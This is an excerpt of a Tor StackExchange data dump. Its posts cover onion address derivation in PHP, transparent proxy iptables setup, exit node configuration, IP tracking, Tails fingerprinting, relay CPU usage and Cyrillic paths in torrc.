  <row Id="16684" PostTypeId="1" CreationDate="2018-02-17T18:03:28.800" Score="1" ViewCount="342" Body="&lt;p&gt;By all sources I can find, onion / hidden service &quot;domains&quot; are generated by &lt;a href=&quot;https://www.peterbeard.co/blog/post/generating-a-vanity-onion-address/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this process&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Generate a 1024-bit RSA keypair&#xA;Take the SHA-1 of the public key&#xA;Base32 encode the first 80 bytes of the hash&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have tried to replicate it, by first &lt;a href=&quot;https://pastebin.com/raw/Gpdav49K&quot; rel=&quot;nofollow noreferrer&quot;&gt;generating a memorable vanity URL&lt;/a&gt; with Scallion, &quot;zzzzzzycizaamf47.onion&quot;. I then wrote a PHP script to derive the public key from that private key, strip the formatting, hash it, truncate to 10 chars, and base32 encode it. First of all I found three different &quot;encode as base32&quot; functions, all which give different results. This is the code, with results commented after the three functions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$privKey = 'MIIEpAIBAAKC ~snip~ azScNv5A';&#xA;$rsa = new Crypt_RSA();&#xA;$rsa-&amp;gt;loadKey($privKey);&#xA;$pubKey = $rsa-&amp;gt;getPublicKey(CRYPT_RSA_PUBLIC_FORMAT_PKCS1);&#xA;&#xA;$pubKey = str_replace(array(&quot;\r&quot;, &quot;\n&quot;, ' ', '=', '-----BEGINRSAPUBLICKEY-----', &#xA;    '-----ENDRSAPUBLICKEY-----'), '', $pubKey); //&#xA;&#xA;$pubKey = sha1($pubKey);&#xA;$pubKey = substr($pubKey, 0, 10);&#xA;&#xA;&#xA;echo base_convert($pubKey, 16, 32).PHP_EOL; //Result: 68s3ii2&#xA;&#xA;echo crockford32_encode($pubKey).PHP_EOL; //Result: 60rkjcb365hp2d1j&#xA;&#xA;$base32 = new Base2n(5, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567', FALSE, TRUE, TRUE);&#xA;echo $base32-&amp;gt;encode($pubKey).PHP_EOL; //Result: GAYTSMLDGFRWCNBS&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What's going wrong here? Why do the three &quot;base32&quot; functions give different results? &lt;a href=&quot;https://pastebin.com/raw/z2L72hrw&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here is the code for crockford32_encode&lt;/a&gt;, and &lt;a href=&quot;https://pastebin.com/raw/gxBFKMa8&quot; rel=&quot;nofollow noreferrer&quot;&gt;here is the code for Base2n&lt;/a&gt;. I have tried nearly all combinations of formatting / whitespace stripping and character truncation, and have never gotten close to the desired &quot;zzzzzzycizaamf47&quot;. I previously posted this question on StackOverflow and got no answers, only a comment suggesting I ask here.&lt;/p&gt;&#xA;" OwnerUserId="21066" LastActivityDate="2018-02-18T03:27:56.460" Title="Replicating onion address algorithim?" Tags="|protocol|url|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16685" PostTypeId="2" ParentId="16684" CreationDate="2018-02-17T23:36:50.040" Score="4" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;What's going wrong here?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;The digest of the DER encoding of &lt;code&gt;SEQUENCE | INTEGER(n) | INTEGER(e)&lt;/code&gt; (&lt;a href=&quot;https://www.rfc-editor.org/rfc/rfc3447#appendix-A.1.1&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.rfc-editor.org/rfc/rfc3447#appendix-A.1.1&lt;/a&gt;, ITU-T X.690), not the Base64 encoded DER encoding.&lt;/p&gt;&#xA;&lt;p&gt;Tor uses Base32 encoding as standardized by the IETF (&lt;a href=&quot;https://www.rfc-editor.org/rfc/rfc4648&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.rfc-editor.org/rfc/rfc4648&lt;/a&gt;) and not Douglas Crockford's variant.&lt;/p&gt;&#xA;" OwnerDisplayName="user78" LastEditorUserId="-1" LastEditDate="2021-10-07T07:34:52.683" LastActivityDate="2018-02-17T23:36:50.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16687" PostTypeId="2" ParentId="16684" CreationDate="2018-02-18T03:27:56.460" Score="1" Body="&lt;p&gt;Thanks @Yawning Angel, your answer helped, also the answer in &lt;a href=&quot;https://stackoverflow.com/questions/27838177/convert-string-to-sha1-and-to-base64&quot;&gt;this question&lt;/a&gt;, the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function privkey2pubkey($privKey) {&#xA;    $privKey = str_replace(array(&quot;\r&quot;, &quot;\n&quot;, ' ', '=', '-----BEGINRSAPRIVATEKEY-----', &#xA;    '-----ENDRSAPRIVATEKEY-----'), '', $privKey); &#xA;    $rsa = new Crypt_RSA(); $rsa-&amp;gt;loadKey($privKey);&#xA;    return $rsa-&amp;gt;getPublicKey(CRYPT_RSA_PUBLIC_FORMAT_PKCS1);&#xA;}&#xA;&#xA;function pubkey2addr($pubKey) {&#xA;    $pubKey = str_replace(array(&quot;\r&quot;, &quot;\n&quot;, ' ', '=', '-----BEGINRSAPUBLICKEY-----', &#xA;    '-----ENDRSAPUBLICKEY-----'), '', $pubKey); &#xA;    $pubKey = base64_decode($pubKey);&#xA;    $pubKey = sha1($pubKey, true);&#xA;    $pubKey = substr($pubKey, 0, 10);&#xA;    $base32 = new Base2n(5, 'abvdefghijklmnopqrstuvwxyz234567', FALSE, TRUE, TRUE);&#xA;    $pubKey = $base32-&amp;gt;encode($pubKey).PHP_EOL;&#xA;    return $pubKey;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Requires phpseclib and &lt;a href=&quot;https://pastebin.com/raw/gxBFKMa8&quot; rel=&quot;nofollow noreferrer&quot;&gt;Base2n&lt;/a&gt;. (I am the question asker, I just can't figure out how to log into that account, I must have 20+ stackexchange accounts by now)&lt;/p&gt;&#xA;" OwnerUserId="21073" LastActivityDate="2018-02-18T03:27:56.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16690" PostTypeId="2" ParentId="16088" CreationDate="2018-02-18T18:37:18.110" Score="1" Body="&lt;p&gt;There is a longer discussion at &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/15618&quot; rel=&quot;nofollow noreferrer&quot;&gt;#15618&lt;/a&gt; in &lt;a href=&quot;https://trac.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor's bug tracker&lt;/a&gt;. It seems that this message occurs when someone tries to call &lt;code&gt;circuit has_opened()&lt;/code&gt; two times. So far it seems unclear if someone does this for some &quot;strange&quot; reasons or if this is a bug in Tor (see also &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/21084&quot; rel=&quot;nofollow noreferrer&quot;&gt;#21084&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In both tickets developers try to find out more. If you can help with further clues, please add something to the bug tracker. If not, keep an eye to your log file and regularly update your Tor software. Currently it seems there is not much more you can do.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2018-02-18T18:37:18.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16694" PostTypeId="1" CreationDate="2018-02-19T11:25:10.847" Score="0" ViewCount="265" Body="&lt;p&gt;My problem is what if I do sniffing and later I want to extract urls/analyze with suricata, Im getitng them prepended &lt;code&gt;:9040&lt;/code&gt; to all urls, but I see what it really uses tor exit node, so I want to get rid on that &lt;code&gt;:9040&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;example - &lt;code&gt;http://ipinfo.io:9040/&lt;/code&gt; &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I have read &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TransparentProxy&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://trac.torproject.org/projects/tor/wiki/doc/TransparentProxy&lt;/a&gt;, and it was working till a bit ago, I have the identical setup on another pc and it works there&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This sound like some dnat/masquerade problem, but I have next rules:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;iptables -t nat -A POSTROUTING -o virbr0 -j MASQUERADE&lt;/code&gt; # I have tried add also rule as this but for input traffic, to have both&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;iptables -t nat -A PREROUTING -i virbr0 --source 192.168.1.X -p tcp --syn ! --dport X -j REDIRECT --to-ports 9040&lt;/code&gt; # I have triedd change redirect to dnat --to-destination 192.168.1.1:9040, and no change, the same result&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Software&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;tor 0.3.2.9-1~xenial+1&lt;/li&gt;&#xA;&lt;li&gt;ubuntu 16.04&lt;/li&gt;&#xA;&lt;li&gt;iptables 1.6.0-2ubuntu3&lt;/li&gt;&#xA;&lt;li&gt;ii libpcap-dev  1.7.4-2  &lt;/li&gt;&#xA;&lt;li&gt;un libpcap0.7-dev&lt;/li&gt;&#xA;&lt;li&gt;ii  libpcap0.8:amd64 1.7.4-2  &lt;/li&gt;&#xA;&lt;li&gt;ii  libpcap0.8-dev   1.7.4-2&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;torrc:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;TransPort 192.168.1.1:9040&lt;/li&gt;&#xA;&lt;li&gt;DNSPort 192.168.1.1:5353&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;tcpdump sniffing i see connection as:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;192.168.1.x.49210 &gt; 192.168.1.1.9040&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Any idea what can be wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="21084" LastEditorUserId="21084" LastEditDate="2018-02-19T12:34:17.573" LastActivityDate="2022-04-01T02:07:55.873" Title="Tor transparent port appended to the urls" Tags="|configuration|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16700" PostTypeId="2" ParentId="16694" CreationDate="2018-02-20T14:13:14.303" Score="0" Body="&lt;p&gt;ok i have solved the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it's related to docker update and change of the kernel network filter, more details here &#xA;&lt;a href=&quot;https://forums.fedoraforum.org/showthread.php?312824-Bridge-broken-after-docker-install&amp;amp;p=1785664#post1785664&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://forums.fedoraforum.org/showthread.php?312824-Bridge-broken-after-docker-install&amp;amp;p=1785664#post1785664&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;setting them to 0 looks like solve my problem&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;    net.bridge.bridge-nf-call-ip6tables=0&#xA;    net.bridge.bridge-nf-call-iptables=0&#xA;    net.bridge.bridge-nf-call-arptables=0&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="21084" LastActivityDate="2018-02-20T14:13:14.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16702" PostTypeId="2" ParentId="15104" CreationDate="2018-02-20T23:16:16.377" Score="-1" Body="&lt;p&gt;1 Tor Circuits Search &#xA;Website= www.Onionite.now.sh&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Search terms include FLAG:Exit Country:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to set in TORRC for Tor Browser once you find the fingerprints of the exit nodes you want to use.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;StrictNodes 1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ExitNodes exitnodefingerprint, exitnodefingerprint, exitnodefingerprint&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Tor compiled TORRC is configured as such&lt;/p&gt;&#xA;&#xA;&lt;p&gt;#StrictNodes 1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;#ExitNodes&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ExitNodes exitnodefingerprint, exitnodefingerprint, exitnodefingerprint&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="21101" LastActivityDate="2018-02-20T23:16:16.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16703" PostTypeId="1" CreationDate="2018-02-21T02:30:56.143" Score="0" ViewCount="743" Body="&lt;p&gt;Recently I downloaded some e-books from b-ok.org (formerly known as bookzz). After downloading a few books, the site notified me that: &quot;more than 5 books have been downloaded from this IP in the last 24 hour, please sign in or register&quot;. Confident the site was merely recognizing my Tor exit IP, I changed my VPN's location, and rebooted Tor with a different identity. But when I returned to the site I was shocked to receive the same warning! How could this site know the same IP was attempting to download this book? I've tried numerous methods to alter/obfuscate my IP address (switched browsers, new identities, new guard node, router reboot, new VPN location), but this site mysteriously still knows it's me trying to download this book.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please, does anyone know what's happening here? Have I committed some gigantic blunder in the construction of my network's anonymity utilities, and been leaking my true IP address this whole time? Thank you in advance for any help. &lt;/p&gt;&#xA;" OwnerUserId="21102" LastEditorUserId="88" LastEditDate="2018-09-19T12:51:38.740" LastActivityDate="2021-04-06T20:07:00.637" Title="How is my IP being tracked?" Tags="|anonymity|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="16704" PostTypeId="1" CreationDate="2018-02-21T06:06:52.087" Score="3" ViewCount="3647" Body="&lt;p&gt;I'm experiencing a lot of Secure Connection Failures using TBB in China recently. The browser has problem loading all plain network webpages, here's the message displayed in the browser window:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/AY34s.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/AY34s.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to refresh the page, use new identity, use various of bridge mode(obfs4, meek,etc), even chaining my TBB after a working VPN(psiphon\Free browser, etc), non of these measures work. The problem is so bad that no pages can be loaded. What should I do now?&lt;/p&gt;&#xA;" OwnerUserId="17930" LastEditorUserId="27799" LastEditDate="2019-10-08T23:44:21.240" LastActivityDate="2019-10-08T23:44:21.240" Title="Got a lot of Secure Connection failed errs recently, anyone with similiar experience?" Tags="|tor-browser-bundle|ssl|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="16708" PostTypeId="2" ParentId="16703" CreationDate="2018-02-21T08:55:35.753" Score="1" Body="&lt;p&gt;There are limited number of tor exit nodes however the number of people downloading the books are in millions. These users share the limited exit nodes. So it is not that the site knows your IP, it is just that the exit nodes (IPs) have been exhausted by the number of users.&lt;/p&gt;&#xA;" OwnerUserId="21104" LastActivityDate="2018-02-21T08:55:35.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16710" PostTypeId="1" CreationDate="2018-02-21T19:10:50.210" Score="0" ViewCount="567" Body="&lt;p&gt;I am thinking about using TOR on windows, all I know about TOR is, it redirects each packet through multiple nodes, websites only see the exit node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1)&lt;/strong&gt; This would only protect me against public IP exposure. What are the other things that websites have access to? are there any unique fingerprints/ hardware ID's websites can see?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2)&lt;/strong&gt; How do I overcome this situation? If I use Tails Linux, with TOR browser, would it &quot;erase&quot; my fingerprints? if yes, then when?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3)&lt;/strong&gt; How does it work on Windows VS Tails Linux? Where are fingerprints saved/accessed from?&lt;/p&gt;&#xA;" OwnerUserId="21109" LastActivityDate="2018-10-27T11:00:51.380" Title="What does TOR protect me against?" Tags="|windows|linux|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16711" PostTypeId="1" CreationDate="2018-02-21T23:27:06.513" Score="1" ViewCount="1757" Body="&lt;p&gt;I'm new to tails and tor. I want to know :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) how does tails spoof your device identification Id's/fingerprints ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) is spoofing done by tails or tor ?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) how do I confirm that the data websites have access to, is spoofed? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) when does tails spoof my data ? When booting from USB in live mode? Or when installed on a USB? Or both ? Also does persistent storage have anything to do with storing device ids ? &lt;/p&gt;&#xA;" OwnerUserId="21111" LastActivityDate="2019-04-24T19:01:00.170" Title="How does tails Linux protect your device fingerprint?" Tags="|tails|linux|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16714" PostTypeId="1" CreationDate="2018-02-22T03:48:46.067" Score="2" ViewCount="1257" Body="&lt;p&gt;I setup tor relay on Windows 10 see &lt;a href=&quot;https://metrics.torproject.org/rs.html#details/AD5B534F1CF8ABD17001817CC2ACF6D11345766F&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://metrics.torproject.org/rs.html#details/AD5B534F1CF8ABD17001817CC2ACF6D11345766F&lt;/a&gt; as windows service.&lt;/p&gt;&#xA;&lt;p&gt;At service start it use about 15% CPU.&#xA;Then when it works correct it can use from 0 to 5 % CPU.&lt;/p&gt;&#xA;&lt;p&gt;But some times tor service start to use 100% CPU for a long time (10 and more minutes). So I restart tor service. It can happened 2 or times per day.&lt;/p&gt;&#xA;&lt;p&gt;And at this time it does not send or receive anythings by network and it does not read or write anything to disk. Network and disk usage are 0%.&lt;/p&gt;&#xA;&lt;p&gt;Why tor service utilize 100% CPU? Is it bug on Windows or I have configuration errors?&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;I see next log messages when tor service use 100% CPU&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Feb 24 00:15:54.000 [info] store_multiple(): Adding consensus diff from BDCF9DAE9B06BE846F509A2CD4622D0296F4C524A5B97FD55B87A19082BFFD44 to C195F4A134922B69D8DCA02C1C9D92586102A99, compressed with identity&#xA;Feb 24 00:15:54.000 [info] store_multiple(): Adding consensus diff from BDCF9DAE9B06BE846F509A2CD4622D0296F4C524A5B97FD55B87A19082BFFD44 to C195F4A134922B69D8DCA02C1C9D92586102A99, compressed with gzip&#xA;Feb 24 00:15:54.000 [info] store_multiple(): Adding consensus diff from A2C8550157121D20120939A0CE806E8C80F9EAD261EEF569840D433EC4AADA83 to C195F4A134922B69D8DCA02C1C9D92586102A99, compressed with identity&#xA;Feb 24 00:15:54.000 [info] store_multiple(): Adding consensus diff from A2C8550157121D20120939A0CE806E8C80F9EAD261EEF569840D433EC4AADA83 to C195F4A134922B69D8DCA02C1C9D92586102A99, compressed with gzip&#xA;Feb 24 00:15:54.000 [info] store_multiple(): Adding consensus diff from 96CCFFE34D19FE0E9A271C171C9E29EE2D95A309CBCDA05071F65B9BDE0F05AC to C195F4A134922B69D8DCA02C1C9D92586102A99, compressed with identity&#xA;Feb 24 00:15:54.000 [info] store_multiple(): Adding consensus diff from 96CCFFE34D19FE0E9A271C171C9E29EE2D95A309CBCDA05071F65B9BDE0F05AC to C195F4A134922B69D8DCA02C1C9D92586102A99, compressed with gzip&#xA;Feb 24 00:15:54.000 [info] store_multiple(): Adding consensus diff from 743550945E24E932FA2A4548160FB7B94A56E8DB36F0024BDBB0DA0B0C084CBB to C195F4A134922B69D8DCA02C1C9D92586102A99, compressed with identity&#xA;Feb 24 00:15:54.000 [info] store_multiple(): Adding consensus diff from 743550945E24E932FA2A4548160FB7B94A56E8DB36F0024BDBB0DA0B0C084CBB to C195F4A134922B69D8DCA02C1C9D92586102A99, compressed with gzip&#xA;Feb 24 00:15:55.000 [info] store_multiple(): Adding consensus diff from 6E83B5ED1443A63C1D2A227E40C14876CE9A444D31F2797EBEBD3131875F9804 to C195F4A134922B69D8DCA02C1C9D92586102A99, compressed with identity&#xA;Feb 24 00:15:55.000 [info] store_multiple(): Adding consensus diff from 6E83B5ED1443A63C1D2A227E40C14876CE9A444D31F2797EBEBD3131875F9804 to C195F4A134922B69D8DCA02C1C9D92586102A99, compressed with gzip&#xA;Feb 24 00:15:55.000 [info] store_multiple(): Adding consensus diff from C1733C9DB3D3FFA41648B4512D3ED9088706828C0B46B63910F9334CD18D71B3 to C195F4A134922B69D8DCA02C1C9D92586102A99, compressed with identity&#xA;Feb 24 00:15:55.000 [info] store_multiple(): Adding consensus diff from C1733C9DB3D3FFA41648B4512D3ED9088706828C0B46B63910F9334CD18D71B3 to C195F4A134922B69D8DCA02C1C9D92586102A99, compressed with gzip&#xA;Feb 24 00:15:55.000 [info] store_multiple(): Adding consensus diff from D21909A5CCEAE66D820DCB25D5BBF6591B8E4D7199FBE52C6F2B4D7607F445D6 to C195F4A134922B69D8DCA02C1C9D92586102A99, compressed with identity&#xA;Feb 24 00:15:55.000 [info] store_multiple(): Adding consensus diff from D21909A5CCEAE66D820DCB25D5BBF6591B8E4D7199FBE52C6F2B4D7607F445D6 to C195F4A134922B69D8DCA02C1C9D92586102A99, compressed with gzip&#xA;Feb 24 00:15:55.000 [info] store_multiple(): Adding consensus diff from 244325664A3D3FEA6EEE708E3A7F5457B9313C108C744275A7A6BAB031E1783F to C195F4A134922B69D8DCA02C1C9D92586102A99, compressed with identity&#xA;Feb 24 00:15:55.000 [info] store_multiple(): Adding consensus diff from 244325664A3D3FEA6EEE708E3A7F5457B9313C108C744275A7A6BAB031E1783F to C195F4A134922B69D8DCA02C1C9D92586102A99, compressed with gzip&#xA;Feb 24 00:15:55.000 [info] store_multiple(): Adding consensus diff from 8A68AF897614AB690785BF1C709249ADCDEA2E78657B41CE55285FAE3D3672CE to C195F4A134922B69D8DCA02C1C9D92586102A99, compressed with identity&#xA;Feb 24 00:15:55.000 [info] store_multiple(): Adding consensus diff from 8A68AF897614AB690785BF1C709249ADCDEA2E78657B41CE55285FAE3D3672CE to C195F4A134922B69D8DCA02C1C9D92586102A99, compressed with gzip&#xA;Feb 24 00:15:56.000 [info] store_multiple(): Adding consensus diff from 1520D1CA72D0806C7F627C57ED9B1380904CFD24F504762A4B4649DF1B70CC4B to C195F4A134922B69D8DCA02C1C9D92586102A99, compressed with identity&#xA;Feb 24 00:15:56.000 [info] store_multiple(): Adding consensus diff from 1520D1CA72D0806C7F627C57ED9B1380904CFD24F504762A4B4649DF1B70CC4B to C195F4A134922B69D8DCA02C1C9D92586102A99, compressed with gzip&#xA;Feb 24 00:15:56.000 [info] store_multiple(): Adding consensus diff from ACFCFDD29853CA1EB252867E1643F9B7A2C389DD2BC5B4F3FC44EBA8F2D772CC to C195F4A134922B69D8DCA02C1C9D92586102A99, compressed with identity&#xA;Feb 24 00:15:56.000 [info] store_multiple(): Adding consensus diff from ACFCFDD29853CA1EB252867E1643F9B7A2C389DD2BC5B4F3FC44EBA8F2D772CC to C195F4A134922B69D8DCA02C1C9D92586102A99, compressed with gzip&#xA;Feb 24 00:15:57.000 [info] store_multiple(): Adding consensus diff from 09783C82602523E03D46483573F927E768EC2C70E1008956EEEFFA80185EC0AB to C195F4A134922B69D8DCA02C1C9D92586102A99, compressed with identity&#xA;Feb 24 00:15:57.000 [info] store_multiple(): Adding consensus diff from 09783C82602523E03D46483573F927E768EC2C70E1008956EEEFFA80185EC0AB to C195F4A134922B69D8DCA02C1C9D92586102A99, compressed with gzip&#xA;Feb 24 00:15:57.000 [info] store_multiple(): Adding consensus diff from 39AE8F1436B0C78B5A39A90D46EB46A960E30253595DB9B6EC74E80B8532185D to C195F4A134922B69D8DCA02C1C9D92586102A99, compressed with identity&#xA;Feb 24 00:15:57.000 [info] store_multiple(): Adding consensus diff from 39AE8F1436B0C78B5A39A90D46EB46A960E30253595DB9B6EC74E80B8532185D to C195F4A134922B69D8DCA02C1C9D92586102A99, compressed with gzip&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And so on...&lt;/p&gt;&#xA;" OwnerUserId="21117" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2019-02-18T14:22:39.543" Title="Windows 10 tor relay use 100% CPU" Tags="|relays|windows|error|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="16715" PostTypeId="2" ParentId="13812" CreationDate="2018-02-22T07:09:39.803" Score="1" Body="&lt;p&gt;Checksums and anything else to give &quot;optimism&quot; can be spoofed as well as the whole entire LiveCD image and tails.org https.  NSA and FBI do anything they want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you get a RAT onto your LiveDVD it would write to the bios firmware or create an encrypted memory container on every computer you take it to.  It would AUTO-LOAD into the memory for example.    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To them they think everyone in their sheep pen should be gracious that they only steal most of what everyone has and not everything.  &lt;/p&gt;&#xA;" OwnerUserId="21119" LastActivityDate="2018-02-22T07:09:39.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16716" PostTypeId="1" AcceptedAnswerId="16741" CreationDate="2018-02-22T14:03:48.840" Score="0" ViewCount="117" Body="&lt;p&gt;When I firstly run tor browser, it modifies the torrc file. It writes &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;C:\\Users\\\300\355\344\360\345\351\\Desktop\\tor&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;for my C:\Users\Андрей\Desktop\tor (Андрей =&gt; \300\355\344\360\345\351). What is the encoding of this sequence? My torrc file encoded in UTF8 w/o BOM, is this wrong?&lt;/p&gt;&#xA;" OwnerUserId="21122" LastActivityDate="2018-02-25T13:57:06.363" Title="Tor encoding for national (cyrillic) symbols it torrc" Tags="|configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16717" PostTypeId="1" AcceptedAnswerId="16739" CreationDate="2018-02-22T15:54:22.007" Score="0" ViewCount="140" Body="&lt;p&gt;I unpacked &lt;em&gt;Tor Expert Bundle&lt;/em&gt; to &lt;code&gt;C:\&lt;/code&gt; and run &lt;code&gt;tor --service install -options -f &amp;lt;path_to_my_torrc&amp;gt;&lt;/code&gt;, the service succesfully installs and runs. Tor Network works fine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I tried to install &lt;em&gt;Tor Expert Bundle&lt;/em&gt; from my user directory (win8, something like &lt;code&gt;C:\User\&amp;lt;Cyrillic user name&amp;gt;\Desktop\Tor&lt;/code&gt;), the service installs but can't start with &lt;em&gt;error &quot;access denied&quot;&lt;/em&gt;. I added rules:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;icacls %cd% /grant &quot;LOCAL SERVICE&quot;:(OI)(CI)RX&#xA;icacls %cd%\Data /grant &quot;LOCAL SERVICE&quot;:(OI)(CI)M&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then the service installs and starts correctly, but tor network doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My &lt;code&gt;torrc&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#DataDirectory C:\Users\Андрей\Desktop\Tor Expert Bundle\Data&#xA;GeoIPFile C:\Users\Андрей\Desktop\Tor Expert Bundle\Data\geoip&#xA;GeoIPv6File C:\Users\Андрей\Desktop\Tor Expert Bundle\Data\geoip6&#xA;&#xA;ExcludeExitNodes {ru}, {ua}, {by}, {kz}&#xA;ExitNodes {pl}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried to add &lt;em&gt;quotes&lt;/em&gt; to file paths, but i got error 1064.&#xA;I tried to add &lt;code&gt;DataDirectory&lt;/code&gt; parameter, but i also got error 1064.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I run &lt;em&gt;Tor Browser Bundle&lt;/em&gt; from the same directory, tor succesfully starts. How to place tor expert bundle in my user directory (with cyrillic symbols in the file path)?&lt;/p&gt;&#xA;" OwnerUserId="21122" LastEditorUserId="21122" LastEditDate="2018-02-22T18:45:03.740" LastActivityDate="2018-02-25T13:54:20.537" Title="Tor service doens't work correctly from my user folder (service starts, but network unavailable)" Tags="|error|troubleshooting|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
